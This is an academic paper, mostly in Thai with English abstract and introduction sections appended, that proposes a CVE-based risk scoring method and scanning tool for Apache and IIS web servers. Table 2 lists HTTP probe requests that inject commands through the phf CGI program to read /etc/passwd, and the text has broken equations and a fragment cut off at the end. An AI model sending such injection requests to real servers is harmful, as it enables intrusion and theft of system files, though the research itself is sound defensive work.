Expected Loss) การคํานวณตองอาศัยการประเมินคุณคา
ของขอมูลตางๆ ที่อยูในระบบเชน หากขอมูลทางดาน
การเงินไดรับความเสียหายคิดเปนมูลคาความเสียหาย
ขององคกรเทาใด เปนตน 

- การคนหาและเลือกวิธีการควบคุมใหมๆ 
(Survey and Select New Control) เปนการคนหาวิธีการ
ที่ใชในการควบคุมแกไขจุดบกพรองที่เกิดขึ้นเพื่อลด
เวลาและคาใชจายที่ใชในการควบคุม 

- การคํานวณความคุมคาของโครงการ (Project 
Saving) เปนการวิเคราะหความคุมคาของผลของการ
แกไขกับคาใชจายในการแกไขปรับปรุง 
งานวิจัยนี้ไดใชวัตถุประสงคของการรักษาความมั่นคง

ของระบบไดแก การรักษาความลับ  การบูรณภาพ และ
สภาพพรอมใชงาน ในการกําหนดคาถวงน้ําหนักของ
ผลกระทบที่เกิดจากจุดบกพรอง และใชขั้นตอนการ
ประเมินความเสี่ยงดังที่ไดกลาวมาแลวในการออกแบบ
วิธีการประเมินความเสี่ยงของเว็บเซิรฟเวอร 
 

3.  โปรโตคอลเอชทีทีพี [8] [9] 
เปนโปรโตคอลที่เว็บบราวเซอร (Web Browser) 

และเว็บเซิรฟเวอรประกอบดวยการรองขอขอมูลเชน 
GET /somedir/page.html HTTP/1.1 และการตอบสนอง
ขอมูล เชน HTTP/1.1 200 OK เปนตน ทั้งนี้การรองขอ
ขอมูลและการตอบสนองขอมูลยังมีคําสั่งตางๆ ที่ใชใน
การทํางานไดอีกหลายคําสั่ง ซึ่งไมขอกลาวในที่นี้ 

ง านวิ จั ย ช้ิ นนี้ ใ ช ก า ร ร อ งขอข อมู ลและก าร
ตอบสนองการรองขอขอมูลเอชทีทีพีในการตรวจสอบ
จุดบกพรองของเว็บเซิรฟเวอร 
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4. การประเมินความเสี่ยงของเว็บเซิรฟเวอร 
การประเมินความเสี่ยงของเว็บเซิรฟเวอรประกอบดวย

องคประกอบ 3 สวน ตามสมการที่ใชการคํานวณความ
เสี่ยงดังนี้ (วิธีการคํานวณอธิบายในขั้นตอนที่ 4.4) 

ความเสี่ยงของเว็บเซิรเวอร =∑
=

n

i
iii PWX

1
 

i  คือ ลําดับของซีวีอี 

 
ภาพที่ 1 โครงสรางของสถาปตยกรรม 

 

โครงสรางของการประเมินความเสี่ยงประกอบดวย 
จุดบกพรองที่ทําการตรวจสอบอางอิงจากซีวีอี (รายการซี
วีอีทั้งหมดแสดงในภาคผนวก  ก) ระดับผลกระทบ 
จําแนกตามการรักษาความลับ การบูรณภาพ และสภาพ
พรอมใชงาน และความนาจะเปนที่จะพบจุดบกพรองซึ่ง
คํานวณจากเว็บเซิรฟเวอรทั่วไป 

 
ภาพที่ 2 ข้ันตอนการประเมินความเสี่ยงของเว็บเซิรฟเวอร 

ภาพที่ 2 แสดงขั้นตอนการประเมินความเสี่ยงคือ
เริ่มจากการกําหนดจุดบกพรองที่จะทําการตรวจสอบ 
กําหนดระดับผลกระทบจําแนกตามประเภทความ
เสียหาย คํานวณคาความนาจะเปนในการพบจุดบกพรอง 
และคํานวณคาความเสี่ยง 
 

4.1 จุดบกพรองที่ทําการตรวจสอบ ( iX ) 
ในการตรวจสอบจุดบกพรองใชจุดบกพรองที่เปน

มาตรฐานที่ ยอมรับกันโดยทั่ วไปไดแก  ซี วีอี  ซึ่ ง
ประกอบดวยจุดบกพรองของระบบปฏิบัติการ ตลอดจน
โปรแกรมประยุกตตางๆ จํานวนมาก ผูวิจัยไดทําการคัด
แยกเฉพาะจุดบกพรองของอาปาเชและไอไอเอสเว็บ
เซิรฟเวอร ตัวอยางดังตารางที่ 1 
 

ตารางที่ 1 แสดงตัวอยางซีวีอีที่เกียวของกับอาปาเชและไอไอเอสเว็บเซิรฟเวอร 
CVE 1999 - 0067 CGI phf program allows remote command 

execution through shell metacharacters. 

 
เมื่อไดจุดบกพรองของอาปาเชและไอไอเอสเว็บ

เซิรฟเวอรแลวทําการกําหนดรายการรองขอขอมูลเอชที
ทีพี เพื่ อใช ในการตรวจสอบเว็บ เซิ รฟ เวอรว าพบ
จุดบกพรองดังกลาวหรือไม ตัวอยางรายการรองขอ
ขอมูลดังตารางที่ 2 
 
ตารางที่ 2 แสดงตัวอยางรายการรองขอขอมูลของ CVE 1999 - 0067 
CVE 1999 – 0067 
GET /cgi-bin/phf 
GET /cgi-bin/phf.cgi 
GET /cgi-bin/phf.pp 
GET /cgi-bin/phf?Qalias=x%0a/bin/ls%20 
GET /cgis/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 
GET /cgi-bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 
GET /cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd 
GET /bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 
 

ตารางที่ 2 เปนรายการรองขอขอมูลเพื่อตรวจสอบ
จุดบกพรอง CVE 1999 – 0067 ซึ่งเปนจุดพรองที่
เกี่ยวกับโปรแกรม phf ซึ่งผูใชงานสามารถสงคําสั่งการ
ทํางานไปยังระบปฏิบัติการผานทางโปรแกรม phf ที่
ทํางานบนเว็บเซิรฟเวอรได ดังนั้นจึงไดกําหนดรายการ
รองขอขอมูลเพื่อใชในการสงคําสั่งการทํางานผานทาง

ความเสี่ยง 

จุดบกพรอง 

ระดับ
ผลกระทบ 

คา 
ความนาเปน 
 

ซีวีอีที่เกี่ยวของ 
กับเว็บเซิรฟเวอร 

 

- การรักษาความลับ 
- การบรูณภาพ 
- สภาพพรอมใชงาน 
 

ความนาจะเปนใน 
การพบจุดบกพรองตางๆ 
 เก็บรวบรวมจากเว็บเซิรเวอรทั่วไป 
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โปรแกรมดังกลาวและรับผลการตอบสนองมาทําการ
ประมวลผลตอไป 
 

4.2 ระดับผลกระทบ ( iW ) 
การกําหนดระดับผลกระทบ [6] โดยทั่วไปไมได

กําหนดจําแนกตามประเภทความเสียหาย [7] [11] ดังนั้น
งานวิจัยนี้จึงไดเสนอการกําหนดระดับผลกระทบจําแนก
ตามประเภทของความเสียหายที่เกิดขึ้น ดังนี้ 

การรักษาความลับ คือความสามารถในการรักษา
ความลับไมใหผูอื่นที่ไมมีสิทธิสามารถเขาถึงขอมูลที่เก็บ
ไว ยกเวนแตผูที่มีสิทธิอยางถูกตองเทานั้นจึงจะสามารถ
เรียกดูขอมูลดังกลาวไดตามสิทธิที่กําหนดไว 

การบูรณภาพ คือความสามารถในการักษาความ
ถูกตองของขอมูลไมใหมีการแกไขโดยผูที่ไมมีสิทธิใน
การแกไข ยกเวนแตผูที่มีสิทธิอยางถูกตองเทานั้นจึงจะ
สามารถแกไขขอมูลดังกลาวไดตามสิทธิที่กําหนดไว 

สภาพพรอมใชงาน คือการรักษาใหระบบอยูใน
สภาพที่สามารถใหบริการหรือตอบสนองการใชงานของ
ผูใชงานไดอยางเต็มประสิทธิภาพ 
จากการกําหนดระดับผลกระทบจําแนกตามประเภท

ความเสียหายที่เกิดขึ้นทําใหทราบวาแตละจุดบกพรอง 
สงผลกระทบตอความเสียหายประเภทใดมากนอย
อยางไร โดยเงื่อนไขในการกําหนดระดับผลกระทบ
จําแนกตามประเภทความเสียหายดังตารางที่ 3  

 
ตารางที่ 3 แสดงเงื่อนไขการกําหนดระดับผลกระทบจําแนกตามประเภทความเสียหาย 

ระดับผลกระทบ ผลกระทบตอระบบ 
ระดับ  3 (สูง) ระดับ 2 (ปานกลาง) ระดับ 1 (ต่ํา) 

การรักษาความลับ 

iCW  

- เรียกดูขอมูลในระบบไดโดยใชสิทธิการ
เขาถึงขอมูลในระดับผูใชงานสูงสุด (Super 
User) 
-  เรียกใชคําส่ังหรือโปรแกรมที่ใชในการ
เรียกดูขอมูล เชน dir, type, ls, cat, tail เปน
ตน โดยใชสิทธิของผูใชงานสูงสุด 
- มุงใหผูอื่นสามารถเรียกดูขอมูลของระบบ
เปนหลัก 

-  เรียกดูขอมูลในระบบไดโดยใชสิทธิการ
เขาถึงขอมูลในระดับผูใชงาน (User) ซ่ึงมี
สิทธิในการเขาถึงขอมูลไดจํากัด (นอยกวา) 
ระดับผูใชงานสูงสุด 
- เรียกใชคําส่ังหรือโปรแกรมที่ใชในการ
เรียกดูขอมูล เชน dir, type, ls, cat, tail เปน
ตน โดยใชสิทธิของผูใชงาน ซ่ึงมีสิทธิในการ
ใชงานคําส่ังไดจํากัด (นอยกวา) ผูใชงาน
สูงสุด 

- เรียกดูขอมูลในระบบไดโดยใชสิทธิการ
เขาถึงขอมูลในระดับผูใชงานอื่นๆ (Other 
User) เชนผูใชงานโปรแกรมหรือผูใชงานที่
ไมสงผลตอระบบโดยตรง  โดยผู ใชงาน
ดังกลาวมีสิทธิในการเขาถึงขอมูลไดจํากัด 
(นอยกวา) ระดับผูใชงานสูงสุดและระดับ
ผูใชงาน 
- เรียกใชคําส่ังหรือโปรแกรมที่ใชในการ
เรียกดูขอมูล เชน dir, type, ls, cat, tail เปน
ตน โดยใชสิทธิของผูใชงานอื่นๆ  

การบรูณภาพ 

iIW  

- สามารถแกไขขอมูลในระบบไดโดยใชสิทธิ
ของผูใชงานสูงสุด 
- เรียกใชคําส่ังหรือโปรแกรมที่ใชในการ
แกไขขอมูล เชน edit, vi, pico เปนตน ใน
สิทธิของผูใชงานสูงสุด 
- มุงใหผูอื่นสามารถแกไขขอมูลในระบบได
เปนหลัก 

- สามารถแกไขขอมูลในระบบไดโดยใชสิทธิ
ของผูใชงาน  ซ่ึงมีสิทธิในการเขาถึง  และ
แกไขขอมูลนอยกวาผูใชงานสูงสุด 
- เรียกใชคําส่ังหรือโปรแกรมที่ใชในการ
แกไขขอมูล เชน edit, vi, pico เปนตน ใน
สิทธิของผูใชงาน 

- สามารถแกไขชอมูลของระบบไดโดยสิทธิ
ของผูใชงานทั่วไป ซ่ึงมีสิทธิในการเขาถึง
และแกไขขอมูลไดนอยกวาผูใชงานสูงสุด
และผูใชงาน 
- เรียกใชคําส่ังหรือโปรแกรมที่ใชในการ
แกไขขอมูล เชน edit, vi, pico เปนตน ใน
สิทธิของผูใชงานอื่นๆ 

สภาพพรอมใชงาน 

iAW  

- เรียกใชคําส่ังใดๆ ที่ทําใหระบบไมสามารถ
ใชงานไดเชน shutdown โดยใชสิทธิของ
ผูใชงานสูงสุด หรือทําใหบริการ (Service) ที่
อยูในการควบคุมของผูใชงาน 
- ทําใหระบบไมสามารถใหบริการได 

- หยุดการใหบริการบางสวนของระบบ โดย
บริการดังกลาวอยูในการควบคุมของผูใชงาน 
เชน กําหนดสิทธิในการเขาถึงขอมูลของผูใช 
หรือทําใหผูใชงานบางคนไมสามารถเขาสู
ระบบได เปนตน 

- ไมสงผลตอการทํางานของระบบเชนทําให
เกิดขอมูลจํานวนมากในระบบแตระบบยัง
สามารถทํางานไดปกติ 

 

ซึ่งระดับผลกระทบของจุดบกพรองสามารถคํานวณได
โดยใชผลรวมของแตละประเภทความเสียหายที่เกิดขึ้น
ในแตละจุดบกพรองดังสมการ 

iii AICi WWWW ++=  

iW  คือระดับผลกระทบของจุดบกพรองใดๆ 

iCW คือระดับผลกระทบของจุดบกพรองใดๆ ที่สงผล

ตอการรักษาความลับ 
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iIW คือระดับผลกระทบของจุดบกพรองใดๆ ที่สงผล

ตอการบูรณภาพ 

iAW คือระดับผลกระทบของจุดบกพรองใดๆ ที่สงผล

ตอสภาพพรอมใชงาน 

i  คือ ลําดับของซีวีอี 
ตัวอยางการกําหนดระดับผลกระทบ CVE 1999 – 0067 
สงผลใหผูบุกรุกสามารถเขาสูระบบในสิทธิของผูใชงาน
สูงสุดไดดังนั้นจึงสงผลตอประเภทความเสียหายที่อาจ
เกิดขึ้นทุกประเภทในระดับสูง และ CVE 1999 – 0874 
ทําใหระบบไมสามารถใหบริการไดหรือเรียกวาทําให
เกิดดีโอเอส (Denial of Service - DoS) จึงสงผลตอสภาพ
พรอมใชงานเพียงอยางเดียวในระดับสูง 
 

ตารางที่ 4 แสดงตัวอยางการกาํหนดระดับผลกระทบ 
 การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน 

CVE 1999 - 0067 3 3 3 
CVE 1999 - 0874 0 0 3 

 

จากตารางที่ 4 CVE 1999 – 0067 หากมีการตรวจสอบ
พบแสดงวาจุดบกพรองดังกลาวมีผลกระทบตอความ
มั่นคง 3 + 3 + 3 = 9 และ CVE 1999 – 0874 หากมีการ
ตรวจสอบพบแสดงวาจุดบกพรองดังกลาวมีผลกระบตอ
ความมั่นคง 0 + 0 + 3 = 3 เปนตน 
ระดับผลกระทบจําแนกตามประเภทความเสียหาย 

ของซีวีอีทั้งหมดแสดงในภาคผนวก ข 
 

4.3 ความนาจะเปนที่จะพบจุดบกพรอง ( iP ) 
การคํานวณความนาจะเปนของจุดบกพรองใชวิธีการ

สงรายการรองขอมูล (รายการที่ใชตรวจสอบจุดบกพรอง
ที่ไดจากขั้นตอนที่ 4.1) ไปยังเว็บเซิรฟเวอรตางๆ และนํา
ผลการตอบสนองมาคํานวณคาความนาจะเปนในการ

ตรวจพบจุดบกพรองของซีวีอีใดๆ ( iP ) ดังสมการ 

∑
∑
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==
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i m
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1

1  

i  คือ ลําดับของซีวีอี 

m คือ จํานวนเครื่องเซิรฟเวอรทั้งหมดที่ใชคํานวณ
คาความนาจะเปน 

iX  คือจุดบกพรองที่ทําการตรวจสอบ มีคาเปน 1 
ถาพบจุดบกพรองใดๆ  บนเว็บเซิรฟเวอร  (เมื่อเว็บ
เซิรฟเวอรตอบสนองการรองขอขอมูลรายการใดรายการ
หนึ่งที่ใชตรวจสอบจุดบกพรองนั้นๆ) และมีคาเปน 0 
เมื่อไมพบจุดบกพรองใดๆ บนเว็บเซิรฟเวอร (เมื่อเว็บ
เซิรฟเวอรไมตอบสนองการรองขอขอมูลใดๆ ที่ใช
ตรวจสอบจุดบกพรองนั้น) 
 

4.4 คํานวณคาความเสี่ยง 
การคํานวณคาความเสี่ยงจะใชการรองขอขอมูลเพื่อ

ตรวจสอบจุดบกพรองในขั้นตอนที่ 4.1 เพื่อทําการสง
การรองขอขอมูลไปยังเว็บเซิรฟเวอรและรับผลการ
ตอบสนองเพื่อคํานวณคาตามสมการ 

ความเสี่ยงของเว็บเซิรฟเวอร =∑
=

n

i
iii PWX

1
 

i  คือ ลําดับของซีวีอี 

iX  คือจุดบกพรองที่ทําการตรวจสอบ มีคาเปน 1 
ถาพบจุดบกพรองใดๆ  บนเว็บเซิรฟเวอร  (เมื่อเว็บ
เซิรฟเวอรตอบสนองการรองขอขอมูลรายการใดรายการ
หนึ่งที่ใชตรวจสอบจุดบกพรองนั้นๆ) และมีคาเปน 0 
เมื่อไมพบจุดบกพรองใดๆ บนเว็บเซิรฟเวอร (เมื่อเว็บ
เซิรฟเวอรไมตอบสนองการรองขอขอมูลใดๆ ที่ใช
ตรวจสอบจุดบกพรองนั้น) 

iW คือระดับผลกระทบของแตละจุดบกพรอง (ได
จากขั้นตอนที่ 4.2) คํานวณจากผลรวมของระดับ
ผลกระทบแต ละประ เภทของจุ ดบกพร อ งนั้ นๆ 

(
iii AICi WWWW ++= ) 

iP  คือคาความนาจะเปนในการตรวจพบ
จุดบกพรองใดๆ มีคา 0 ถึง 1 (ไดจากขั้นตอนที่ 4.3) 
คาความเสี่ยงที่คํานวณไดแสดงถึงความเสียหายที่อาจ

เกิดขึ้นกับเว็บเซิรฟเวอรใดๆ ซึ่งหากเว็บเซิรฟเวอรใดมี
คาความเสี่ยงสูง ผูดูแลระบบควรพิจารณาแกไขเว็บ
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เซิรฟเวอรนั้นๆ ตามรายการจุดบกพรองที่ตรวจสอบพบ
อยางเรงดวน ซึ่งวิธีการแกไขทําไดโดยการปรับปรุง
โปรแกรมที่ใชงานบนเว็บเซิรฟเวอร ปรับคาโครงแบบ 
(Configuration) ของเว็บเซิรฟเวอร หรือการปรับเปลี่ยน
เว็บเซิรฟเวอร เปนตน 
 

5. สวนของเครื่องมือท่ีใชตรวจสอบ 
การตรวจสอบความเสี่ยงของเว็บเซิรฟเวอรผูวิจัยได

พัฒนาเครื่องมือเพื่อใชสงรายการรองขอขอมูลไปยังเว็บ
เซิรฟเวอร และรับผลการตอบสนองการรองขอขอมูลใน
การประ เมินความ เสี่ ย งของ เ ว็ บ เซิ ร ฟ เ วอร โดย
สถาปตยกรรมของเครื่องมือที่พัฒนาสามารถแบงเปนช้ัน 
(Tier) ไดคือ เครื่องลูกขาย (Client) ที่ติดตั้งโปรแกรม
ตรวจสอบซึ่งมีฟงกชันการทํางานตางๆ เพื่อใชในการ
ประเมินความเสี่ยง เครื่องที่จัดเก็บฐานขอมูล (Database 
Server) ซึ่งจัดเก็บฐานขอมูลที่ใชในการประเมินความ
เสี่ ยง  และเครื่ องที่ จะทํ าการตรวจสอบ  (เครื่ องที่
ใหบริการเว็บเซิรฟเวอร) ดังภาพที่ 3 
 

 
ภาพที่ 3 แผนภาพแสดงสวนประกอบพื้นฐานของเครื่องมือ 

  
ดังที่ไดกลาวแลววาการทํางานของเครื่องมือใช

โปรโตคอลเอชทีที พีในการรองขอและรับผลการ
ตอบสนองขอมูลในการทํางานดังนั้นผูใชงานจริงไม

สามารถเห็นการทํางานของเครื่องมือที่พัฒนาขึ้นได จาก
ภาพที่ 4 เปนภาพตัวอยางหนาจอของเครื่องมือที่พัฒนา
เพื่อใชสงรายการรองขอมูลและรับผลการตอบสนองมา
ใชในการคํานวณคาสถิติตอไป ภาพที่ 4 ตัวอยางหนาจอ
เครื่องมือที่พัฒนา ประกอบดวย ช่ือโฮสตที่จะทําการ
ตรวจสอบและสวนแสดงผลการตรวจสอบ 

 

 
ภาพที่ 4 ตัวอยางหนาจอเครื่องมือที่พัฒนา 

 

 
ภาพที่ 5 ตัวอยางรายงานผลการประเมินความเสี่ยง 

 
ภาพที่ 5 รายงานแสดงคาความเสี่ยงที่ไดจากการ

ประเมินโดยแสดงคาเปรียบเทียบกับคาความเสี่ยงของ
กลุมเซิรฟเวอรที่ใชในการเก็บรวบรวมคาความนาจะเปน 

 

6. บทสรุป 
ระบบรักษาความปลอดภัยของระบบใดๆ ก็ตามควร

ไดรับการดูแลเอาใจใสอยางสม่ําเสมอ ดังนั้นวิธีการ
ประเมินความเสี่ยงของเว็บเซิรฟเวอรที่นําเสนอใน
งานวิจัยนี้เปนวิธีที่ใชในการตรวจสอบความเสี่ยงในการ
เกิดความเสียหายตอเว็บเซิรฟเวอร  โดยเครื่องมือที่
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พัฒนาขึ้ น เพื่ อ ใหผู ดู แลระบบสามารถใช ในการ
ตรวจสอบบํารุงรักษาเว็บเซิรฟเวอร และแกไขปรับปรุง
เว็บเซิรฟเวอรขององคกรใหคาความเสี่ยงลดลงได 
นอกจากนี้ผูวิจัยยังมีแนวคิดที่จะทําการประเมินความ
เสี่ยงของเซิรฟเวอรที่มีโดเมนในประเทศ ไดแก .co.th, 
.in.th, .ac.th, .go.th, .net.th, .or.th, .mi.th ซึ่งโดเมนตางๆ 
มี วัตถุประสงค ในการใหบริการต างกัน  เพื่ อ ดูว า
เซิรฟเวอรกลุมใดมีความเสี่ยงในการทํางานผิดพลาดมาก
นอยกวากัน ตอไปอีกดวย 

7.เอกสารอางอิง 
[1] Program N-Stealth. Available from : http://www.n-

stalker.com. November 2003 
[2] Program NetCat. Available from : 

http://www.pelttech.com/security/nc11nt.zip. December 
2003 

[3] McCabe, B., and Ford, D., Using Belief Networks To 
Assess Risk. Proceeding of the 2001 Winter Simulation 
Conference., 2001. 

[4] Bodeau, J.D., A Conceptual Model for Computer Security 
Risk Analysis. IEEE. 1992 

[5] Pfleeger, P. C., and Pfleeger, L. S., Security in Computing 
Third Edition. ISBN 0-13-120199-9. Pearson Education 
International., 2003. 

[6] Level of severity, Available from : http://icat.nist.org 
Computer Security Division at the National Institute of 
Standards and Technology. 

[7] Common Vulnerability and Exposure, Available from : 
http://www.cve.mitre.org 

[8]  Web Server Survey. Available from : 
http://news.netcraft.com/archives/2004/04/01/april_2004_
web_server_survey.html 

[9] Mcclure, Stuart. Shah, Saumil. Shah, Shreeraj. Web 
Hacking : Attacks And Defense., Pearson Education, Inc., 
2003. 

[10] Kurose, J. F. Ross, and Keith W., Computer Network : A 
Top-Down Approach Featuring the Internet Second 
Edition. ISBN 0-201-97699-4. Pearson Education, Inc., 
2003 

[11] Information on computer vulnerabilities, Available from :  
http://icat.nist.gov/icat.cfm , Computer Security Division at 
the National Institute of Standards and Technology. 

 
ภาคผนวก ก 
หมายเลขซีวีอี รายละเอียด 
CVE 2002 – 0513 The PHP administration script in popper_mod 1.2.1 and earlier relies 

on Apache .htaccess authentication, which allows remote attackers to 
gain privileges if the script is not appropriately configured by the 
administrator. 

CVE 2002 – 0392 Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows 
remote attackers to cause a denial of service and possibly execute 
arbitrary code via a chunk-encoded HTTP request that causes Apache 
to use an incorrect size. 

CVE 2002 – 0082 The dbm and shm session cache code in mod_ssl before 2.8.7-1.3.23, 
and Apache-SSL before 1.3.22+1.46, does not properly initialize 
memory using the i2d_SSL_SESSION function 

CVE 2002 – 0061 Apache for Win32 before 1.3.24, and 2.0.x before 2.0.34-beta, allows 
remote attackers to execute arbitrary commands via shell 
metacharacters provided as arguments to batch (.bat) or .cmd scripts, 
which are sent unfiltered to the shell interpreter 

CVE 2001 – 0507 IIS 5.0 uses relative paths to find system files that will run in-process, 
which allows local users to gain privileges via a Trojan horse file, aka 
the "System file listing privilege elevation" vulnerability. 

CVE 2001 – 0500 Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and 
Indexing Service 2000 in IIS 6.0 beta and earlier allows remote 
attackers to execute arbitrary commands via a long argument to 
Internet Data Administration (.ida) and Internet Data Query (.idq) files 
such as default.ida, as commonly exploited by Code Red. 

CVE 2001 – 0333 Directory traversal vulnerability in IIS 5.0 and earlier allows remote 
attackers to execute arbitrary commands by encoding .. (dot dot) and 
"\" characters twice. 

CVE 2001 – 0241 Buffer overflow in Internet Printing ISAPI extension in Windows 
2000 allows remote attackers to gain root privileges via a long print 
request that is passed to the extension through IIS 5.0. 

CVE 2001 – 0151 IIS 5.0 allows remote attackers to cause a denial of service via a series 
of malformed WebDAV requests. 

CVE 2000 – 0941 Kootenay Web KW Whois 1.0 CGI program allows remote attackers 
to execute arbitrary commands via shell metacharacters in the "whois" 
parameter. 

CVE 2000 – 0886 IIS 5.0 allows remote attackers to execute arbitrary commands via a 
malformed request for an executable file whose name is appended 
with operating system commands, aka the "Web Server File Request 
Parsing" vulnerability. 

CVE 2000 – 0884 IIS 4.0 and 5.0 allows remote attackers to read documents outside of 
the web root, and possibly execute arbitrary commands, via 
malformed URLs that contain UNICODE encoded characters, aka the 
"Web Server Folder Traversal" vulnerability. 

CVE 2000 – 0778 IIS 5.0 allows remote attackers to obtain source code for .ASP files 
and other scripts via an HTTP GET request with a "Translate: f" 
header, aka the "Specialized Header" vulnerability. 

CVE 2000 – 0770 IIS 4.0 and 5.0 does not properly restrict access to certain types of 
files when their parent folders have less restrictive permissions, which 
could allow remote attackers to bypass access restrictions to some 
files 
 



 

 

171 

CVE 2000 – 0287 The BizDB CGI script bizdb-search.cgi allows remote attackers to 
execute arbitrary commands via shell metacharacters in the dbname 
parameter. 

CVE 2000 – 0226 IIS 4.0 allows attackers to cause a denial of service by requesting a 
large buffer in a POST or PUT command which consumes memory, 
aka the "Chunked Transfer Encoding Buffer Overflow Vulnerability." 

CVE 2000 – 0208 The htdig (ht://Dig) CGI program htsearch allows remote attackers to 
read arbitrary files by enclosing the file name with backticks (`) in 
parameters to htsearch. 

CVE 2000 – 0010 WebWho+ whois.cgi program allows remote attackers to execute 
commands via shell metacharacters in the TLD parameter. 

CVE 1999 – 0874 Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of 
service via a malformed request for files with .HTR, .IDC, or .STM 
extensions. 

CVE 1999 – 0278 In IIS, remote attackers can obtain source code for ASP files by 
appending "::$DATA" to the URL 

CVE 1999 – 0266 The info2www CGI script allows remote file access or remote 
command execution. 

CVE 1999 – 0264 htmlscript CGI program allows remote read access to files. 

CVE 1999 – 0262 faxsurvey CGI script on Linux allows remote command execution via 
shell metacharacters. 

CVE 1999 – 0260 The jj CGI program allows command execution via shell 
metacharacters. 

CVE 1999 – 0237 Remote execution of arbitrary commands through Guestbook CGI 
program. 

CVE 1999 – 0191 IIS newdsn.exe CGI script allows remote users to overwrite files. 

CVE 1999 – 0174 The view-source CGI program allows remote attackers to read 
arbitrary files via a .. (dot dot) attack. 

CVE 1999 – 0172 FormMail CGI program allows remote execution of commands. 

CVE 1999 – 0146 The campas CGI program provided with some NCSA web servers 
allows an attacker to read arbitrary files. 

CVE 1999 – 0070 test-cgi program allows an attacker to list files on the server. 

CVE 1999 – 0067 CGI phf program allows remote command execution through shell 
metacharacters. 

CVE 1999 – 0066 AnyForm CGI remote execution. 

CVE 1999 – 0021 Arbitary command execution via buffer overflow in Count.cgi 
(wwwcount) cgi-bin program. 

 

ภาคผนวก ข 
ระดับผลกระทบ 

หมายเลขซีวีอี 
การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน 

CVE 2002 – 0513 3 3 3 

CVE 2002 – 0392 1 1 3 

CVE 2002 – 0082 1 1 1 

CVE 2002 – 0061 2 2 1 

CVE 2001 – 0507 3 3 3 

CVE 2001 – 0500 3 3 3 

CVE 2001 – 0333 3 2 0 

CVE 2001 – 0241 3 3 3 

CVE 2001 – 0151 0 0 3 

CVE 2000 – 0941 3 3 3 

CVE 2000 – 0886 2 2 1 

CVE 2000 – 0884 3 2 1 

CVE 2000 – 0778 3 1 0 

CVE 2000 – 0770 2 2 0 

CVE 2000 – 0287 3 3 3 

CVE 2000 – 0226 0 0 3 

CVE 2000 – 0208 3 0 0 

CVE 2000 – 0010 3 3 3 

CVE 1999 – 0874 0 0 3 

CVE 1999 – 0278 3 1 0 

CVE 1999 – 0266 2 2 2 

CVE 1999 – 0264 3 0 0 

CVE 1999 – 0262 2 2 2 

CVE 1999 – 0260 2 2 2 

CVE 1999 – 0237 2 2 2 

CVE 1999 – 0191 2 3 0 

CVE 1999 – 0174 3 2 0 

CVE 1999 – 0172 2 2 2 

CVE 1999 – 0146 3 3 3 

CVE 1999 – 0070 3 3 0 

CVE 1999 – 0067 3 3 3 

CVE 1999 – 0066 2 2 2 

CVE 1999 – 0021 2 2 3 
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ABSTRACT 
Risk assessment is required by many organizations as 

a basis for deciding which solutions are to be 
implemented to secure systems. A variety of risk 
assessment techniques and tools have been developed. 
Concerning the usage of web server in real world 
applications, this paper proposes architecture for web 
server risk assessment. The architecture is based on CVE 
(Common Vulnerabilities and Exposures). Regarding the 
concerned components of computer security, the weighted 
impact is classified into confidentiality, integrity and 
availability. The developed tool used in this paper collects 
the related information via Hypertext Transfer Protocol 
(HTTP). The web server error risk is calculated from the 
collected information. The last part of this paper is the 
comparison of the risk value of web server under the 
different domains in Thailand. 
 
KEY WORDS 
Risk Management, Web Server, Vulnerability, Secure 
 

1. Introduction 
A web server is a computer with special software for 

hosting web pages and web applications. The main 
function of web server is to serve static HTML pages. 
However, the demand of web application is rapidly 
growth and several functions are added to the server. 
These applications include e-commerce, dynamic sites, 
and database applications. Increasingly, emphasis is 
placed on an ability to host web applications of the web 
servers. The vulnerability of web server can result from a 
programming error (software developer part) or 
configuration error (administrator part). There errors in 
web server make web pages and applications vulnerable. 

Vulnerability loss type can be classified into 
confidentiality loss, integrity loss and availability loss. 
The level of impact for each loss type may vary away 
organizations according to the security policies. 
Currently, tools for scanning the vulnerability of web 
server, such as N-Stealth [1], NetCat [2] and SandCat [3] 
etc. do not support risk assessment. As a result, the risk of 
being exposed cannot be assessed, and leave the 
responsibilities to the web administrator. 

Our work consists of three parts. First we proposed a 
method for calculate the web server risk value. Then we 
develop a tool named, WSRAT (Web Server Risk 
Assessment Tool) to collect information from web servers 

by sending request messages and receiving response 
messages based on the Hypertext Transfer Protocol 
(HTTP) mechanism. Finally we evaluate the risk value of 
web server under the different domains in Thailand. 

The rest of this paper is organized as follows. Section 
two describes related work on web server vulnerability, 
risk assessment, HTTP mechanism. The method for 
assess the risk of web server is purposed in section three. 
Section four introduces the design of web server risk 
assessment tool. The details in this section consist of 
system architecture, main function and examples of user 
interface and report. The next two sections explain the 
experimental method and results gained from WSRAT. 
Ultimately it ends with discussion and conclusion. 
 
2. Related Works 
 
2.1. A conceptual model for computer 
security risk analysis 

J. Bodeau [4] proposed a high-level conceptual model 
of disclosure risk for information systems and developed 
a prototype named ANSSR (Analysis of Network 
Systems Security Risks) to support it. The ANSSR is 
intended primarily for use during the requirements 
definition phase but can also be used to guide the risk 
analysis performed to support accreditation. The risk 
associated with a threat scenario is a combination of three 
components as follow. 

1. The likelihood that an attack exploiting that scenario 
will occur. 

2. The likelihood that the attack will result in an 
adverse impact. 

3. The severity of that impact. 
 
2.2. Using belief networks to assess risk 

In 2001, McCabe and Ford [5] reviewed two 
commonly used risk assessment tools, namely weighted 
scores and expected value. The weighted score method 
uses expert judgment to determine scores. The scheme 
makes the weighted score method easy to understand. The 
expected value method evaluates the probability and 
impact of each option. Impacts are not too difficult to 
determine but determining a probability is relatively 
complicate. 
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2.3 A framework for using insurance for 
cyber-risk management 

G. Lawrence, et.al. [6] proposed a cyber-risk 
management framework for information security. Thus, 
organization should begin by assessing the threat and 
vulnerabilities associated with their information systems. 
The value of the information vulnerable to threats also 
needs to be considered at this stage of the process. They 
proposed a value-vulnerability grid to identify which 
information should receive the security resources could be 
developed. A value vulnerability grid would categorize 
information from high to low for both value and 
vulnerability as shown in Figure 1. In order to effectively 
leverage scare information security resources, information 
falling into boxes 1,2,4 and 5 should generally receive the 
largest share of the information security budgets. 
 
 VULNERABILITY 

 High Medium Low 
